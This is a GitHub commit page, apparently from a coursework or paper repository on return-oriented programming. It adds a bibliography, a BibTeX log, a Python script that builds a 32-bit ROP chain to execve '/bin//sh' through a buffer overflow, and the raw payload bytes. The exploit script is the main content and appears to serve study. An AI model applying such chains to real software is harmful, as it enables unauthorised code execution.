-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
13 changed files
with
8,288 additions
and
74 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
\begin{thebibliography}{ES} | ||
|
||
\bibitem[ES]{el-sherei} | ||
Saif El-Sherei. | ||
\newblock Return oriented programming (rop ftw) - exploit-db.com. | ||
|
||
\end{thebibliography} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
This is BibTeX, Version 0.99d (TeX Live 2022/Arch Linux) | ||
Capacity: max_strings=200000, hash_size=200000, hash_prime=170003 | ||
The top-level auxiliary file: paper.aux | ||
The style file: alpha.bst | ||
Database file #1: refs.bib | ||
You've used 1 entry, | ||
2543 wiz_defined-function locations, | ||
562 strings with 4548 characters, | ||
and the built_in function-call counts, 276 in all, are: | ||
= -- 22 | ||
> -- 8 | ||
< -- 1 | ||
+ -- 2 | ||
- -- 2 | ||
* -- 12 | ||
:= -- 50 | ||
add.period$ -- 2 | ||
call.type$ -- 1 | ||
change.case$ -- 5 | ||
chr.to.int$ -- 1 | ||
cite$ -- 1 | ||
duplicate$ -- 11 | ||
empty$ -- 26 | ||
format.name$ -- 3 | ||
if$ -- 55 | ||
int.to.chr$ -- 1 | ||
int.to.str$ -- 0 | ||
missing$ -- 0 | ||
newline$ -- 7 | ||
num.names$ -- 3 | ||
pop$ -- 10 | ||
preamble$ -- 1 | ||
purify$ -- 6 | ||
quote$ -- 0 | ||
skip$ -- 14 | ||
stack$ -- 0 | ||
substring$ -- 7 | ||
swap$ -- 1 | ||
text.length$ -- 1 | ||
text.prefix$ -- 0 | ||
top$ -- 0 | ||
type$ -- 8 | ||
warning$ -- 0 | ||
while$ -- 2 | ||
width$ -- 2 | ||
write$ -- 11 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
from struct import pack | ||
import os | ||
data = 0x080e5020 | ||
xor_eax_eax = 0x08050a28 # xor eax, eax ; ret | ||
pop_eax = 0x080ac78a # pop eax ; ret | ||
pop_ebx = 0x08049022 # pop ebx ; ret | ||
pop_ecx = 0x08054f7b # pop ecx ; add al, 0xf6 ; ret | ||
pop_edx = 0x0808b2a5 # pop edx ; xor eax, eax ; pop edi ; ret | ||
inc_eax = 0x0809d0ce # inc eax ; ret | ||
int_80 = 0x080499d2 # int 0x80 | ||
mov_edx_eax = 0x08080762 # mov dword ptr [edx], eax ; ret | ||
xor_edx_edx = 0x0807b199 # xor edx, edx ; mov eax, edx ; ret | ||
filler = 0x11111111 | ||
# Padding goes here | ||
p = bytes('AAAA' * 6 + 'BBBB' * 1, 'ascii') | ||
|
||
p += pack('<I', pop_edx) # write address of .data into edx | ||
p += pack('<I', data) | ||
p += pack('<I', filler) | ||
p += pack('<I', pop_eax) # write /bin into eax | ||
p += bytes('/bin', 'ascii') | ||
p += pack('<I', mov_edx_eax) # mov to .data | ||
p += pack('<I', pop_edx) # address of .data + 4 into edx | ||
p += pack('<I', data + 4) | ||
p += pack('<I', filler) | ||
p += pack('<I', pop_eax) # //sh into eax | ||
p += bytes('//sh', 'ascii') | ||
p += pack('<I', mov_edx_eax) # mov to .data | ||
p += pack('<I', pop_edx) # address of .data + 8 into edx | ||
p += pack('<I', data + 8) | ||
p += pack('<I', filler) | ||
p += pack('<I', xor_eax_eax) # clear eax | ||
p += pack('<I', mov_edx_eax) # write null after /bin/sh | ||
p += pack('<I', pop_ebx) | ||
p += pack('<I', data) | ||
p += pack('<I', pop_ecx) # write arguments into ecx | ||
p += pack('<I', data + 8) | ||
p += pack('<I', xor_edx_edx) # clear edx | ||
p += pack('<I', xor_eax_eax) # set eax to 11 (execve) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', int_80) # call interrupt | ||
print(str(p)[2:-1]) | ||
with open('payload_stack_two', 'wb') as file: | ||
file.write(p) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
AAAAAAAAAAAAAAAAAAAAAAAABBBB�� P�� | ||
/binb��$P�� | ||
//shb��(P( | ||
b"� P{O(P��( | ||
�� �� �� �� �� �� �� �� �� �� �� ҙ |
Binary file not shown.
Oops, something went wrong.